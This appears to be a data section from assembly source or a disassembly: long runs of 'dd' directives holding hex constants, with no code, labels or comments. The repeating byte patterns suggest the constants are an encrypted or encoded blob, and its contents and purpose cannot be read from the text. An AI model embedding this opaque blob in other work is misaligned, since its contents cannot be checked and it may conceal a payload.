		dd 0E68FED00h, 54D95B4Ah, 882557F8h, 0C16C0E2Ch, 0F8F029Ch
		dd 1286BF2h, 870395CBh,	64DAA44Ah, 0B9B39032h, 0A1E1902Ah
		dd 73305CC4h, 4ACBF931h, 3264DAA4h, 0C5079F90h,	4A77305Ch
		dd 4F0BDBA5h, 0B873D3ADh, 7E45B554h, 0BF5B0248h, 4EECA44Ah
		dd 78289E2Ch, 0E60A3EDCh, 0A43A4894h, 0E3EE4A58h, 0BF5B02A7h
		dd 64DAA44Ah, 252FED78h, 0E80CDAEAh, 78F6EC00h,	0C4F3B3EEh
		dd 0B8E4305Ch, 725B6D94h, 366B3559h, 305BD976h,	0BA76049Eh
		dd 0D381FB1Eh, 403ADC78h, 4A0EB4E8h, 7C0ADAA4h,	5CC58505h
		dd 0B1158F30h, 4904D89Ch, 81F406A7h, 0BF5B02D1h, 64DAA44Ah
		dd 0DB9F2763h, 6B305DE3h, 4238DC78h, 0AC08E0E2h, 6342F08Ah
		dd 0DBA54A27h, 4A923065h, 7864DAA4h, 0C4F3B3EEh, 871D305Ch
		dd 43DDCBABh, 5CC54E4Eh, 0B6633F30h, 4AEB78EAh,	3290584Ah
		dd 64DAA44Ah, 0F0F7ED78h, 0B779A2C2h, 0F1848A8Ah, 0A48C2D86h
		dd 0EB01CD59h, 4A63A189h, 326AD85Ah, 0D6A04A90h, 78903260h
		dd 0FE46C4DCh, 0ACCE60E4h, 8EBA5044h, 0D2801668h, 0A64A9032h
		dd 0B43266D4h, 0C527671Ah, 0BFE9305Ch, 5CC4C2C2h, 0C2505230h
		dd 0C5397928h, 0C9DB305Ch, 0FB6BA361h, 60BCBC53h, 2349662h
		dd 5A4ABF5Bh, 27636AD8h, 0CDDE5B4Ah, 66F4CAC3h,	327AE87Eh
		dd 392B9F90h, 6BDBD8BAh, 0BF5B02DFh, 4CEE5A4Ah,	42D0D232h
		dd 9F90328Ch, 305CC516h, 22F9B26h, 5A4ABF5Bh, 27636AD8h
		dd 5DCB239Fh, 5A4AD330h, 0B9B74ED8h, 9E9B9CDCh,	630DBF7Bh
		dd 0EE5A4A27h, 0D0D2324Ch, 27638C42h, 67D5A74Ah, 0B9B39032h
		dd 0BF5B020Eh, 403ADC78h, 6529CCE8h, 561EAF2Dh,	0E728C308h
		dd 3226942Ah, 0D6A04A90h, 0A889844h, 4240A83Ah,	9507ED78h
		dd 5B97BF12h, 0B561439Fh, 0FDBDA431h, 0FA54286Ah, 74BCBE52h
		dd 0B3EE7856h, 305CC4F3h, 0D89CB11Dh, 0E87E04h,	4A9D3DDCh
		dd 6367D5A7h, 0D85A4A27h, 0C5DC786Ah, 0C2D3FF47h, 52E0E242h
		dd 9F184AE6h, 92ECD120h, 2DF6B28h, 0A74ABF5Bh, 0B43267D5h
		dd 0C527671Ah, 8DE9305Ch, 0B47C126Ah, 3EDC7816h, 16E2E03Ch
		dd 0BCF573A2h, 305CC4FCh, 4AF88E14h, 5859032h, 29B5B02h
		dd 9EB19173h, 22D74FDEh, 0C64245Dh, 0F6AC305Ch,	4A3A8860h
		dd 31B3E3A7h, 9341D7EDh, 413BDC78h, 39057785h, 0C0424FABh
		dd 0A517ED78h, 6D3CA522h, 78FC1185h, 0AC2E66EEh, 3634644h
		dd 59FF4B5Bh, 6B599127h, 60D6A04Ah, 0ED789032h,	0BC507354h
		dd 0F5A92FBEh, 0FD7554Dh, 560BE775h, 70874FC2h,	1CAE3408h
		dd 5C152565h, 7DB5EF30h, 0C5DC784Fh, 0E7E2FF47h, 0D969B4C5h
		dd 0EBCF2BB9h, 93110141h, 2DA331B3h, 0A74AE624h, 0E62467D5h
		dd 0EE78FA48h, 51AD2F66h, 0C55E5E53h, 0ECB6305Ch, 0E131D804h
		dd 44D6A04Ah, 0C4B7F7AAh, 4B59305Ch, 230F6983h,	2B80AE1h
		dd 0B9B3BF5Bh, 0D95B4A0Eh, 0B7C9B64Fh, 0B6CBE15Eh, 7967284h
		dd 3CF4DBFAh, 9F90328Eh, 0B3B2B782h, 0D5A74AF2h, 0E6544D09h
		dd 0D2D02CAEh, 1305E03Ch, 71ED886Ah, 0F33FBDD5h, 0BF5B02D1h
		dd 4ABF5B02h, 3266D4A6h, 0EF5B4A90h, 3A7A374Dh,	0DA305CC5h
		dd 12A43AC8h, 0ED6A04Ah, 780EBC74h, 0FF47C5DCh,	5E5E53E5h
		dd 0B6305CC5h, 0FAE804ECh, 0ADAA44Ah, 9D5574Eh,	0CD0544Dh
		dd 9C3DD776h, 26BDF5Eh,	0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h
		dd 2096160Fh, 0A04AE624h, 0F4184CE0h, 0F865F086h, 0BFD5AD08h
		dd 0A63D167h, 0D6A04AB8h, 0B2F1A944h, 9719B144h, 8068FE7Eh
		dd 3BDC7802h, 67E7FD41h, 4F55A9D3h, 4AA41EE3h, 3260D6A0h
		dd 35A04A90h, 305CC59Ah, 78540A98h, 0E9413BDCh,	799D39A3h
		dd 0C7B15B03h, 863F596Bh, 0D5A74A6Fh, 4F2B7C09h, 5293C02Ch
		dd 0C4189A8Ah, 78176588h, 0AB45B554h, 0BF5B0215h, 60D6A04Ah
		dd 0B9F9032h, 7B305CC5h, 0F242DB4Bh, 0DFA1B665h, 0EB14574Eh
		dd 5B02BD0Fh, 0D6A04ABFh, 0C4DC7860h, 0CE4FE46h, 0B9B30181h
		dd 0D6A04A0Eh, 3F903260h, 428B463h, 0DC14AE76h,	2EF5BEEh
		dd 90019B5Bh, 305CC510h, 7456A200h, 60D6A04Ah, 5B022763h
		dd 0A8559FBFh, 37C1305Ch, 5CA83A7Ah, 3EC8DA30h,	5CA84343h
		dd 1BD7CD30h, 0D6A04AA9h, 0B899844h, 27639D2Fh,	44D6A04Ah
		dd 0A85913AAh, 369E24BCh, 5C654343h, 1BD7CD30h,	4A2763A9h
		dd 0F276DDA4h, 0A46B6A23h, 0B432A016h, 0AE760428h, 4AEEDC14h
		dd 0B640DAA4h, 5CC4BBFBh, 8D485530h, 0F32792AEh, 37955DF3h
		dd 739F9032h, 0C3305DCAh, 0BDBA54Ah, 0DBD6AA4Fh, 305CC4DBh
		dd 5D96F35h, 43BF5E86h,	5B027654h, 0DAA44ABFh, 4A276364h
		dd 32B2E3A7h, 8C42D0D2h, 0ED789032h, 81B0CAE5h,	9C1C9543h
		dd 74305C28h, 1B3C982Eh, 2B079D61h, 0A3116B8Fh,	939F9032h
		dd 0A3D9B763h, 5B02DF6Bh, 1E769FBFh, 4AC6305Dh,	0BCEFDDA4h
		dd 0E7C853AAh, 363E351h, 6BC7B15Bh, 0D5A74A59h,	0A8A9B43h
		dd 0DC789C2Eh, 0ADF74339h, 0FD7F933Bh, 7557A321h, 403ADC78h
		dd 5396B9E8h, 0CE16668Bh, 554E7CB4h, 4A4A47D1h,	0CA305CC5h
		dd 78B210D8h, 0C4F3B3EEh, 871D305Ch, 74A647ABh,	403ADC78h
		dd 0AE0AE6FCh, 4A32C78Bh, 0E45AE8FAh, 0F3B3EE78h, 1D305CC4h
		dd 754FAB87h, 3C3EDC78h, 0E725E5E0h, 0BD6ED5F0h, 42D7C32Fh
		dd 0E624843Ah, 6A13E23Fh, 8DCB62FCh, 0F7C9808h,	0F7B3F3A6h
		dd 475D305Bh, 5B02D9EBh, 0D5A74ABFh, 4AB80A67h,	6367D5A7h
		dd 0E8419F27h, 4A31305Dh, 7864DAA4h, 0F64238DCh, 0B9B35FEBh
		dd 9B5B020Eh, 0C5109001h, 0A600305Ch, 5CC4ABEBh, 0A93F6530h
		dd 0C522621Fh, 0B0F2305Ch, 0A44A4A78h, 276364DAh, 6AD85A4Ah
		dd 0B21AB432h, 8103E39Dh, 5CC49010h, 0D5A74830h, 891B7B09h
		dd 0C40282FFh, 9012305Ch, 0A74A6A58h, 903267D5h, 6AD85A4Ah
		dd 47C5DC78h, 28A6E2FFh, 0E918DF6Bh, 45439F5Bh,	3F077599h
		dd 6B7F4DA5h, 0BF5B02DFh, 0F3B3EE78h, 1D305CC4h, 170FAB87h
		dd 90322795h, 5B96FD3Fh, 0BF5B02EFh, 413BDC78h,	0AF0BE7FDh
		dd 7847F577h, 0C4F3B3EEh, 871D305Ch, 2EB826ABh,	5CC53373h
		dd 0AFC0DD30h, 99B1A0F7h, 8507F381h, 0B7EE5A4Ah, 45DBE935h
		dd 0C4DC7897h, 0E9CDE70h, 0B9F9A836h, 5B305CC4h, 217FBB49h
		dd 0D6A04A83h, 84923060h, 0E597BA22h, 1DAF8B19h, 339B5B02h
		dd 0CA865E1Eh, 0F48E5620h, 0DDDDD466h, 37305CC4h, 4A07856Dh
		dd 8E6AD85Ah, 93138E18h, 7D305CC4h, 4AF9CB27h, 326AD85Ah
		dd 90633F90h, 5B028101h, 0D85A4ABFh, 0BDFDB44Eh, 57305CC4h
		dd 5BABD57Bh, 4D7FBB49h, 5A4A2763h, 27636AD8h, 67D5A74Ah
		dd 0A74A9032h, 5CC59B36h, 5B099B30h, 0B12BC224h, 0D72484F5h
		dd 4AC8FA36h, 2467D5A7h, 0D3A64AE6h, 738855Dh, 0A5790FA5h
		dd 0AC700429h, 0DA18C1EFh, 5B02E052h, 36A74ABFh, 305CC59Bh
		dd 0DADAD761h, 3A305CC4h, 0C6DC8068h, 78B80A10h, 0C4F3B3EEh
		dd 871D305Ch, 95170FABh, 78903227h, 0DD70C4DCh,	0AF3D479Fh
		dd 0E4E54D57h, 12B032D5h, 53FB6B83h, 0CA61B8B9h, 824DB0F6h
		dd 0A69210ECh, 0BF5B0264h, 0B3E2A64Ah, 4D09A331h, 0A567D3A9h
		dd 0ED789032h, 0B0B335E6h, 6256A20Ah, 0F6734ECFh, 9D39305Bh
		dd 0A53F0785h, 4D03A14Dh, 0A74AE624h, 0ED7867D5h, 6ED1DFC4h
		dd 125B2368h, 0CFB540D5h, 21C8C8B9h, 5A48305Ch,	9E086CC4h
		dd 0FD7AF807h, 0A088BF8Ah, 0D5A74A62h, 78276367h, 0C4F3B3EEh
		dd 871D305Ch, 0F74F31C7h
		dd 7C9105EDh, 0DC784AF8h, 9EDC70C4h, 56AE3C46h,	0C7C7BA4Ch
		dd 49305CC4h, 63419F5Bh, 67D5A74Ah, 22849230h, 1E96BBAh
		dd 0BF5B0283h, 4CE3A74Ah, 3CD2D02Ch, 4A3C8E8Eh,	2D4FE3A7h
		dd 0AB3DD3D1h, 0AF0B7912h, 3D64F18Bh, 8705ED19h, 47C5DC78h
		dd 9D02E2FFh, 0E29F3017h, 0A919E44Ch, 0F3B3EE78h, 0E4305CC4h
		dd 7BF07827h, 693B5B9Ah, 7FFD1581h, 618B53EDh, 81226217h
		dd 0B0F2305Ch, 812B6B26h, 0BFE5305Ch, 0DC785173h, 0E7FD413Bh
		dd 78EDD70Bh, 0BC22F9EDh, 0F53D3FDDh, 5DBB7314h, 5A4AC130h
		dd 27636AD8h, 67D5A74Ah, 0A64A9032h, 0ED7866D4h, 49ECBBD8h
		dd 44D1D333h, 4DA5AFB5h, 0DF6BB311h, 78BF5B02h,	7781A2EDh
		dd 9BBD3E89h, 0F1871DE1h, 7859D39h, 4A903251h, 30B4EDA5h
		dd 9240D6ECh, 0FB6B9032h, 63C3BD53h, 23B8961h, 5A4ABF5Bh
		dd 0C4E5A5DCh, 55E7305Ch, 0C5C9DB2Bh, 329B49DFh, 0DBA54A90h
		dd 9B903265h, 0CBA9430Bh, 5CC4D6D6h, 0D6643E30h, 0EBC740Eh
		dd 4ABF5B02h, 786AD85Ah, 7BF5BEEDh, 0DE76D367h,	0E059EC73h
		dd 7B46B259h, 602051EBh, 0B0305CB2h, 788406F2h,	0A93C3EDCh
		dd 1ECF627Ah, 0ECC82035h, 638036B4h, 0E2A64A27h, 0E6D2324Ch
		dd 0D982E50h, 1899C39Ch, 0E2740A63h, 4A595948h,	0E9BB305Ch
		dd 50ACC86Dh, 3224E652h, 0EB9B390h, 66D4A64Ah, 0D957EE78h
		dd 33D7BC29h, 0BC525247h, 0D6C2305Ch, 43AF3DBFh, 633FB52Fh
		dd 0D85A4A90h, 0D0A24804h, 4894E674h, 0FEFC9DC3h, 5B02AD15h
		dd 0D4A64ABFh, 78276366h, 0E9413BDCh, 4A12E485h, 0E4A4DD5Bh
		dd 2C305CC4h, 0BA08E076h, 42D4A64Ah, 0E73F8B9Ah, 750B9965h
		dd 0EDDF1BA9h, 0E79F9032h, 1765264Ah, 5B02DF6Bh, 0EB9B3BFh
		dd 0F3B3EE78h, 1D305CC4h, 0EB0FAB87h, 0BA5F0791h, 886062C2h
		dd 3F90323Ah, 81019261h, 4ABF5B02h, 6366D4A6h, 0BF5B0227h
		dd 66D4A64Ah, 249F9032h, 0CC7A1539h, 5B02DF6Bh,	0D3A64ABFh
		dd 9379499Ch, 7DF3818Ah, 2259ED78h, 1534005Ch, 95202612h
		dd 0DD15A907h, 0A30372D0h, 11C70C0Ah, 28BD8057h, 3CF1D22Ch
		dd 0E8DA1663h, 859F8703h, 0F5305D5Ah, 4FD95B4Ah, 3EE7E9B6h
		dd 73BF1A5Bh, 81903251h, 0E468B925h, 0E09ABC18h, 54F0861Ch
		dd 5A68B4C6h, 0DC782C9Eh, 0FDEB47C5h, 5CC50484h, 20960C30h
		dd 0ED782763h, 9BBF75FAh, 0DC9CB364h, 68EC8200h, 546EB6C4h
		dd 82E4ED9Ch, 7870305Ch, 851BB0EDh, 0AA865C94h,	2391EB0Eh
		dd 1819032h, 0C5890978h, 1E8B305Ch, 55F8764Ch, 30C5DF27h
		dd 99FEEB7h, 7827635Bh,	0C4F3B3EEh, 871D305Ch, 96160FABh
		dd 1AB43220h, 5CC52767h, 0EDB41030h, 9551B59h, 0F1D31F85h
		dd 5B4AE220h, 8E874FD9h, 63E0220Eh, 0D95B4A27h,	871874Fh
		dd 564241h, 0B47C123Fh,	0C4DC7816h, 0CB6EA46h, 5CC51F9Fh
		dd 52430B30h, 0C4DBDBD6h, 6F35305Ch, 0B37F05D9h, 0D4A64A11h
		dd 83037E08h, 8D305CC5h, 0D9A3B717h, 0D5749805h, 7884FA25h
		dd 34EF61EDh, 13DF704Fh, 4A8C4EEFh, 636BD95Bh, 0D95B4A27h
		dd 3BDC786Bh, 469E1E77h, 2E42AE3Ch, 0FC5C0590h,	6174D349h
		dd 1F9F3B89h, 2F305CC5h, 5B020585h, 0D95B4ABFh,	5B03636Bh
		dd 1D5FF0B6h, 0A92DC3C1h, 883AF686h, 0DC780181h, 0F8A94339h
		dd 305CC4B8h, 0B2EE4A58h, 0F587A834h, 5B4A8F3Dh, 0DC786BD9h
		dd 0B5E9413Bh, 7801810Fh, 5CC58509h, 0A7158F30h, 5B4A2763h
		dd 27636BD9h, 90320181h, 413BDC78h, 0C185E0FDh,	0D89DCA8Ah
		dd 3595EE4Ah, 2ADE5B4Ah, 0BFBAEF29h, 3240F684h,	27671AB4h
		dd 0E9305CC5h, 814D7FBBh, 89097801h, 8B305CC5h,	0DC78AB19h
		dd 0EAF74339h, 4AE22058h, 636BD95Bh, 0D95B4A27h, 7EED786Bh
		dd 0ED1D3B5Ah, 0F18F230Fh, 26B87164h, 49A11071h, 0C5DC787Bh
		dd 9A1AEB47h, 0A4305CC4h, 0ADAA44Ah, 72D2AC4Eh,	0C57D3D74h
		dd 0D97305Ch, 53AF4EB6h, 5B02F2D0h, 0EF5B4ABFh,	31A735B7h
		dd 0EE782763h, 0FCAD2F66h, 305CC4BCh, 36E24E54h, 32EF5DDFh
		dd 0B3EE7890h, 305CC4F3h, 0DAAB871Dh, 305CC4DAh, 20585E4h
		dd 5B4ABF5Bh, 0A32171DDh, 5CC4AEEEh, 0AE3C6630h, 5B036338h
		dd 5C6ECA4Ah, 90320181h, 6BD95B4Ah, 428B432h, 0C57F3F72h
		dd 1391305Ch, 8117B57Dh, 0E9ED7801h, 7282ACEAh,	99991988h
		dd 297B305Ch, 58495F9Bh, 305C9A54h, 0B5F5AC46h,	5F305C99h
		dd 0A701ED45h, 5C99AAEAh, 0F28CA230h, 0A6FC9012h, 2763A210h
		dd 6BD95B4Ah, 0B5152763h, 6AD85A4Ah, 0F27B9032h, 0B6FFDB6Ch
		dd 6C082DA9h, 978A323h,	305CC589h, 63AB198Bh, 7A149227h
		dd 76436E3h, 0FDAC97A2h, 305C56BDh, 0A92B7B57h,	71B94F55h
		dd 26CF4D45h, 33732EB8h, 0DD305C57h, 8A6A36C7h,	6FA2E5BFh
		dd 0A0B30183h, 1639A537h, 2C049E66h, 0D609789Eh, 0DC37B5A9h
		dd 903210C6h, 41DBA54Ah, 960B8D85h, 305CC516h, 0DA16A4FEh
		dd 9F9032E8h, 88F9A139h, 0DBA54A09h, 4708541h, 27639E2Ch
		dd 0C5890978h, 198B305Ch, 0C492128Fh, 2082305Ch, 0E899336Fh
		dd 305CC3A8h, 97150C68h, 4BA7354Fh, 57EE7879h, 315374BAh
		dd 7617E384h, 305C6736h, 3216C4DEh, 740628B4h, 0EE780EBCh
		dd 57AFD166h, 0C55C5C4Dh, 0EEB4305Ch, 79B1CB6Eh, 0CC2BA5Dh
		dd 0B1119032h, 81BF5B02h, 0EC69B925h, 12587B5Fh, 966EFCC2h
		dd 78E6240Ch, 5CC58909h, 0AB198B30h, 0C5890978h, 1E8B305Ch
		dd 55B7AC62h, 2B5DB88Fh, 5E6030C5h, 2CA5CF2h, 32B08CEEh
		dd 2763C4C6h, 0FCDCA54Ah, 4ACC99DCh, 6312C056h,	0B9258127h
		dd 0BF0DE597h, 0A74A9032h, 0DC7867D5h, 0E6FC403Ah, 0BF27870Ah
		dd 0BA08E098h, 1F9FE220h, 0B305CC5h, 67D3AD43h,	2B111A5h
		dd 0B515BF5Bh, 5D6A3D9Fh, 0A44A0D30h, 0F30549ECh, 992FB589h
		dd 3BA93F45h, 1819032h,	3C3EDC78h, 3842D4E0h, 0E048DEE4h
		dd 0C50B8B06h, 9B05305Ch, 5CC4A6E6h, 0A6346E30h, 9F276330h
		dd 88F9A139h, 0DAA44A09h, 78276364h, 0B9E3FCEDh, 0F95D50F7h
		dd 0EDC92153h, 32BE2C48h, 0DAA44A90h, 85903264h, 0EB91A521h
		dd 63A1891Bh, 4ABF5B02h, 6367D5A7h, 89097827h, 43305CC5h
		dd 0E7BDD153h, 2958F2ACh, 305CC569h, 9331F9ABh,	0A44A9032h
		dd 708440DAh, 0CEA8420Ah, 0DC78A062h, 0E7FD413Bh, 203C860Bh
		dd 6EBC2FC6h, 4DD89AB0h, 0B47C4BFEh, 0C51F9F16h, 112F305Ch
		dd 0F3ED78B1h, 0CCCCC518h, 44305C03h, 99B4CF5Eh, 6F0E72BEh
		dd 205FFE97h, 0B4A4A47h, 0D8CA305Ch, 0B1A3A34Dh, 0B5154B79h
		dd 403ADC78h, 0C357E6FCh, 3397CA42h, 0CE6357A3h, 5B811CAEh
		dd 748A5E2Eh, 3262A088h, 760428B4h, 0C62008BAh,	0B682FC1Eh
		dd 0D5A74A14h, 4A276367h, 44CE2A6h, 2AB884F6h, 32500694h
		dd 460228B4h, 0FE3AC8B2h, 931D9FCCh, 782D35BFh,	0C4F3B3EEh
		dd 871D305Ch, 91EB0FABh, 78276323h, 0FD413BDCh,	0ABD567E7h
		dd 35E1495Bh, 78E55B21h, 0EA46C4DCh, 0ED780CB6h, 744DA448h
		dd 0F8F020Ch, 1305BEFh,	24250DA3h, 0A7D2162h, 2B11170h
		dd 0DC78BF5Bh, 0CFEB47C5h, 63E3512Bh, 0C7B15B03h, 4CE1657Fh
		dd 4AC2C028h, 0E0A0D1A7h, 0CA305CC4h, 5CC4D7D7h, 2B6B3930h
		dd 0C584047Dh, 168C305Ch, 0CE58F280h, 0B78FF106h, 0C53C7C2Dh
		dd 0CED4305Ch, 9032A062h, 66D4A64Ah, 0A619B432h, 6EBA6BE6h
		dd 4D2FC084h, 8507F3F1h, 57F89511h, 3F763814h, 2B210D8h
		dd 0A74ABF5Bh, 276367D5h, 66D4A64Ah, 46C4DC78h,	3A0A7486h
		dd 0E17D40A8h, 59A5D765h
		dd 4ADDEF4Bh, 0B540DAA4h, 0DE5A050h, 0F1D31F02h, 69F9032h
		dd 7684DA57h, 64DAA44Ah, 3C3EDC78h, 4A59E9F4h, 7864DAA4h
		dd 0AE64EBEDh, 0F03864FAh, 0EB9F06BCh, 3F746367h, 0D7618A6h
		dd 65CD93CFh, 78B111A7h, 0C4F3B3EEh, 871D305Ch,	0E54DCFC7h
		dd 0BE26D079h, 3A42D79Bh, 0FA4AD8EAh, 4A8200E8h, 6364DAA4h
		dd 0C6B65B03h, 0A44A586Ah, 903264DAh, 0E0F9929Fh, 585A2C8h
		dd 4ABF5B02h, 8440DAA4h, 16960B8Dh, 0FE305CC5h,	0E8DA16A4h
		dd 46C4DC78h, 810CE4FEh, 0EC69B925h, 0C29EB599h, 62C25062h
		dd 0D6D2D64h, 0FDA7305Ch, 4A01836Fh, 3267D5A7h,	420628B4h
		dd 7173D3ADh, 0AA2A7BE3h, 0A44A7C4Eh, 903264DAh, 0BDBA54Ah
		dd 0D06EC37Eh, 11B5B2DDh, 84047DFBh, 8C305C5Eh,	22BC8016h
		dd 5C5E2F6Fh, 1AC3E130h, 0ECAB57F6h, 83FD12BAh,	0FBC921A3h
		dd 4ABF5B02h, 35B3E3A7h, 5CC53C7Ch, 38CED430h, 0BE48DEE4h
		dd 2FACE627h, 1BD7684Dh, 4A2763A9h, 6364DAA4h, 0D4A64A27h
		dd 0A9197A08h, 428B432h, 0DC14AE76h, 0D5A74AEEh, 28B43267h
		dd 1AA87406h, 181ECDEh,	0C5850978h, 158F305Ch, 4A2763A7h
		dd 7867D5A7h, 0FC403ADCh, 3870AE6h, 0ED78B515h,	24CA863Eh
		dd 617EC35Ah, 8D512BCEh, 2D8961F7h, 78FF6D0Fh, 9E089BEDh
		dd 39F11121h, 6C7BFFE5h, 0FD7B79D1h, 63F3566Eh,	5AE8932Eh
		dd 9784939h, 305CC589h,	63AB198Bh, 0C5129F27h, 4A22305Ch
		dd 6360D6A0h, 0B4ED7827h, 610C812Bh, 7D3D7406h,	97305C0Ch
		dd 5CF1250Dh, 9032AA18h, 60D6A04Ah, 2F9B9032h, 1A3EED78h
		dd 21D037FBh, 0FEB91A5h, 4A983AE3h, 0AA43D5A7h,	6C56370h
		dd 0EEDC1464h, 8D6A0363h, 0EB8F92ECh, 811DAF8Bh, 4A903201h
		dd 2E4CE0A0h, 883ECCD6h, 0C6202763h, 0C85FB1Eh,	305CC58Ch
		dd 0CC881E84h, 0F68C502Ah, 1F9F883Ah, 2F305CC5h, 5B02B111h
		dd 4AB515BFh, 548ED2A7h, 86E47483h, 0F64E30C6h,	32E85EECh
		dd 0C5209F90h, 720C305Ch, 5CC57F3Fh, 4B139130h,	780ADA5Ah
		dd 0A44A12B0h, 574E0ADAh, 0F61609D5h, 7859D57h,	0AB17A53Fh
		dd 0BF5B02F9h, 30D2635Dh, 2238384h, 78270000h, 0F43C3EDCh
		dd 9D53D1C0h, 1E9F9032h, 0A305CC5h, 76CEA842h, 0E7C0D96Ch
		dd 1DD90FD5h, 5B4AF7D5h, 27636BD9h, 48EDA54Ah, 3CD2D02Ch
		dd 28B4328Eh, 1BA97507h, 0DC78EDDFh, 779B4339h,	4FAB3905h
		dd 0A65C02BEh, 0A54AEC53h, 8C8541DBh, 78E22008h, 0C4F3B3EEh
		dd 871D305Ch, 2DB826ABh, 0CCC5E873h, 305BD2CCh,	1CCF5E44h
		dd 94A6265Dh, 0A0881AEAh, 0D5A74A62h, 0C4DC7867h, 0CB6EA46h
		dd 65DBA54Ah, 5859032h,	3C3EDC78h, 0EA16E2E0h, 0A74A9743h
		dd 0A331B3E3h, 4A27632Dh, 6365DBA5h, 0D2A74A27h, 0F76CB1AFh
		dd 8331C780h, 0DC789032h, 0E7FD413Bh, 477F7A0Bh, 11E97BEBh
		dd 0BF5B02B1h, 67D5A74Ah, 0A74A2763h, 0B92AD4D2h, 942A5538h
		dd 4A903226h, 326BD95Bh, 2B11190h, 90019B5Bh, 305CC510h
		dd 7456A200h, 46C4DC78h, 0A5E1B0B7h, 2612AB00h,	0AF1D5FF2h
		dd 5B4A2763h, 90326BD9h, 0EB47649Fh, 5B4A8C7Bh,	4C5957DEh
		dd 36D71746h, 7B4DD8B7h, 455DF9B5h, 638331C7h, 78386903h
		dd 98305CC5h, 6E88730Ah, 8177738Dh, 0A74A1BA9h,	903267D5h
		dd 4238DC78h, 67D3C2F6h, 0A715ABD5h, 0A64A9032h, 0AA4C08D4h
		dd 0D6760CD0h, 2BE03CBEh, 0D9B644E5h, 0BF5B02E9h, 43D5A74Ah
		dd 21098B9Bh, 6A0363E3h, 0AC422DAEh, 0E57072D2h, 63CF23DDh
		dd 320181A1h, 422919B4h, 103B06FCh, 5B4AEAD8h, 73874FD9h
		dd 43AF3509h, 78276341h, 311C64EDh, 5A6F1DEAh, 4ED963C9h
		dd 0A3ED45DBh, 3ADC781Dh, 0AE6FC40h, 5CC53B7Bh,	0B1110B30h
		dd 0F3B3EE78h, 1D305CC4h, 0A647AB87h, 35911574h, 0FA875FDDh
		dd 64A186BCh, 0D018AEDCh, 0D5A74AF2h, 9F903267h, 53A65C23h
		dd 0B2376FF7h, 31F76062h, 0A58D2344h, 0C9951167h, 0B2326327h
		dd 76C25052h, 0BF5B0254h, 67D5A74Ah, 1812763h, 5B4A9032h
		dd 8E874FD9h, 44AC360Eh, 20276346h, 0C51F9FE2h,	112F305Ch
		dd 0BF5B02B1h, 2C049115h, 643F39BDh, 51FFCD25h,	9C9h, 0D5A74AF1h
		dd 28B43267h, 15AF7705h, 169FEFDDh, 2305CC5h, 0DC94B5Ah
		dd 66A48CE8h, 5B02F456h, 0D2635DBFh, 3B838430h,	3000005h
		dd 0F8372B6Ah, 0A8808A9Eh, 78E2201Ah, 0F43C3EDCh, 5CC49515h
		dd 0B6EB8530h, 305CC4F6h, 0E43842D6h, 4ECB6DEh,	2058586h
		dd 0B515BF5Bh, 66D4A64Ah, 1819032h, 0D066EE78h,	0E34B56AEh
		dd 5F0E6A57h, 0CEC68614h, 0A5E5E44Ch, 6F305C41h, 4B0AA335h
		dd 0F7FF588Dh, 63794BA7h, 8CED7827h, 0C0B789E7h, 2AC8C8B9h
		dd 5A48305Ch, 179D6CC4h, 0F4DAAC2h, 75C9B347h, 4A01836Fh
		dd 6366D4A6h, 35ED7827h, 0F69F0017h, 5D9E1E93h,	2C76305Ch
		dd 0D266529Eh, 90323AA8h, 5CC5449Fh, 13BF2C30h,	19B5B02h
		dd 5CC51090h, 56A20030h, 0D4A64A74h, 4769A42h, 27639E2Ch
		dd 66D4A64Ah, 1819032h,	0DC789032h, 0E2E03C3Eh,	631B6716h
		dd 0E2A64A27h, 0E1ED31B3h, 89E2CB0h, 60B5E77Eh,	0DE44F478h
		dd 59A5277Eh, 63DDEF4Bh, 0CDB66A03h, 48B35E7Bh,	0A64A22E0h
		dd 903266D4h, 47C5DC78h, 0B8FD1AEBh, 856FF272h,	9A1A9721h
		dd 7A305CC4h, 2C2C028h,	0DC78BF5Bh, 0E1E34339h,	0F389AD09h
		dd 4A27637Dh, 7867D5A7h, 0F43C3EDCh, 0EE780AB8h, 5CC4F3B3h
		dd 0AB871D30h, 95A7EB0Fh, 32E755EBh, 0DBA54A90h, 0D3AD4F0Bh
		dd 0DB829673h, 2BEE41Fh, 0EE78BF5Bh, 5CC4F3B3h,	0F5871D30h
		dd 5CC4FCBCh, 0A28E1430h, 2B99E376h, 25812763h,	1DE193B9h
		dd 4A32C787h, 8200E8FAh, 5D54EE78h, 305CC55Dh, 0FCBCEDB7h
		dd 0DC305CC4h, 54524238h, 5CC55D5Dh, 5FEDB730h,	4A655F93h
		dd 6366D4A6h, 0FDED7827h, 63D6B862h, 0CCC4F038h, 9032984Eh
		dd 0FC1EC620h, 4A14B682h, 636AD85Ah, 0D85A4A27h, 0B3EE786Ah
		dd 305CC4F3h, 77AB871Dh, 0C51F9F4Dh, 112F305Ch,	0BF5B02B1h
		dd 6AD85A4Ah, 413BDC78h, 383CD1FDh, 0E048DEE4h,	5A4AA51Dh
		dd 0ED786AD8h, 0A07EA0BBh, 2A46B200h, 0C51F9FB8h, 112F305Ch
		dd 0BF5B02B1h, 6AD85A4Ah, 38690363h, 305CC578h,	0D4B8BA50h
		dd 4AA062CEh, 326AD85Ah, 88258190h, 6F6F5666h, 879531ACh
		dd 5F9B29F5h, 8909786Dh, 8B305CC5h, 9032AB19h, 4ED85A4Ah
		dd 0BEAF57B7h, 7FBB05A7h, 0B3EE784Dh, 305CC4F3h, 26AB871Dh
		dd 8909789Ch, 8B305CC5h, 0E19BBD19h, 0C468F4AEh, 9C546EB6h
		dd 0C3ED782Eh, 0B086D6B8h, 23AAEA93h, 26B4097Ah, 0E5A5DCCAh
		dd 2F305BF3h, 8F208A72h, 67F570EBh, 665438D5h, 0C88F5AB9h
		dd 2763A260h, 0F3B3EE78h, 1D305CC4h, 7250AB87h,	5CADA89Fh
		dd 0B8E87430h, 4ACCFE3Ah, 326BD95Bh, 0E8F27B90h, 54654ADBh
		dd 0DC784B3Bh, 0FFE9413Bh, 5CC50282h, 0E35DE830h, 49EAB609h
		dd 9FB6B53Fh, 6973690Eh, 11C7DD81h, 0A04A2763h,	903260D6h
		dd 5D72339Fh, 0A04A0330h, 276360D6h, 0C87ED78h,	38A5DA92h
		dd 4436C4F0h, 79FB2AB2h, 0F1D31FA5h, 5B4A9032h,	70874FD9h
		dd 0D3A94C08h, 0BB97173h, 0D366EE78h, 5A4F55A9h, 305CC55Ah
		dd 0BD00E8BAh, 0D6A04A05h, 3EDC7860h, 16E2E03Ch, 0A74A3F8Bh
		dd 903267D5h, 47C5DC78h, 20087087h, 89855F21h, 0B1117330h
